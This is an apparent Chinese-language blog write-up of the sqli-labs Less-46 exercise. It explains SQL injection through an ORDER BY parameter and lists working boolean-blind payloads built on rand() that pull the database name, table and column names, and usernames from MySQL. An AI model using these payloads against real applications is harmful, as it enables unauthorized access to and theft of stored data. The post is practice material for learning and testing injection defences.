当前位置:网站首页>SQL注入 Less46(order by后的注入+rand()布尔盲注)
SQL注入 Less46(order by后的注入+rand()布尔盲注)
2022-07-31 02:27:00 【开心星人】
$id=$_GET['sort'];
$sql = "SELECT * FROM users ORDER BY $id";
我们的注入点在 order by 后面的参数中,而 order by不同于的我们在 where 后的注入点,不能使用 union 等进行注入。
测试是否存在注入点
?sort=1 desc?sort=1 asc
desc是 descend 降序意思
asc 是 ascend 升序意思
返回结果不同,说明可以注入。可利用 order by 后的一些参数进行注入
关于下面的这部分与解题无关,直接看布尔盲注的部分即可?sort=right(version(),1)?sort=left(version(),1)
返回结果都是

我觉得可能是字符型的数字,所以又试了一下
不知道是不是会自动进行类型转换啥的
?sort=5
?sort='5'
所以,left(version(),1)返回的应该确实是字符型的数字
布尔盲注
select * from users order by rand();
对users表随机进行排序。
rand()返回的是一个0-1的浮点数,order by 后面跟的是列名或列号。
这里其实可以理解成users表中增加了一个rand字段,字段值是随机产生的。根据该rand字段来对users表进行排序。所以就到达了随机排序的效果
更多原理,看这篇
MySQL-17:order by rand()
select * from users order by rand(1);select * from users order by rand(0);
?sort=rand(1)
?sort=rand(0)
?sot=rand(1=1)
?sort=rand(length(database())=8)
?sort=rand(ascii(substr(database(),1,1))=115)
?sort=rand(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101)
?sort=rand(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i')
?sort=rand(ascii(substr((select username from users limit 0,1), 1,1))=68)
当然这一题可以用时间盲注和报错注入来写的,Less47会用报错注入来写
https://blog.csdn.net/Kevinhanser/article/details/81563461
https://blog.csdn.net/weixin_43901998/article/details/107577630
边栏推荐
- AI中的数学思想
- 【C语言基础】解决C语言error: expected ‘;‘, ‘,‘ or ‘)‘ before ‘&‘ token
- leetcode-1161: Maximum in-layer element sum
- 怎样做好一个创业公司CTO?
- ShardingJDBC usage summary
- The effective square of the test (one question of the day 7/29)
- mysql index
- Force buckled brush the stairs (7/30)
- Unity界面总体介绍
- The final exam first year course
猜你喜欢

There is a problem with the multiplayer-hlap package and the solution cannot be upgraded

Face detection based on opencv
![LeetCode 1161 The largest element in the layer and the LeetCode road of [BFS binary tree] HERODING](/img/56/fcc8ee6f592abf0a374fc950a3362f.png)
LeetCode 1161 The largest element in the layer and the LeetCode road of [BFS binary tree] HERODING

经典链表OJ强训题——快慢双指针高效解法

Arbitrum 专访 | L2 Summer, 脱颖而出的 Arbitrum 为开发者带来了什么?

The Sad History of Image Processing Technology

STM32CUBEMX develops GD32F303 (11) ---- ADC scans multiple channels in DMA mode

f.grid_sample

怎样做好一个创业公司CTO?

mmdetection trains a model related command
随机推荐
There is a problem with the multiplayer-hlap package and the solution cannot be upgraded
Coldfusion file read holes (CVE - 2010-2861)
leetcode-128: longest continuous sequence
完整复制虚拟机原理(云计算)
力扣刷题之有效的正方形(每日一题7/29)
f.grid_sample
LeetCode 1161 最大层内元素和[BFS 二叉树] HERODING的LeetCode之路
The final exam first year course
Manchester City confuses fans with smart scarf that detects emotions
AtCoder Beginner Contest 261 Partial Solution
MPPT solar charge controller data collection - through the gateway acquisition capacity battery SOC battery voltage, wi-fi
【shell基础】判断目录是否为空
What have I experienced to become a tester who is harder than development?
Inner monologue from a female test engineer...
CV-Model [3]: MobileNet v2
mmdetection trains a model related command
C language applet -- common classic practice questions
What are the project management tools like MS Project
BAT can't sell "Medical Cloud": Hospitals flee, mountains stand, and there are rules
f.grid_sample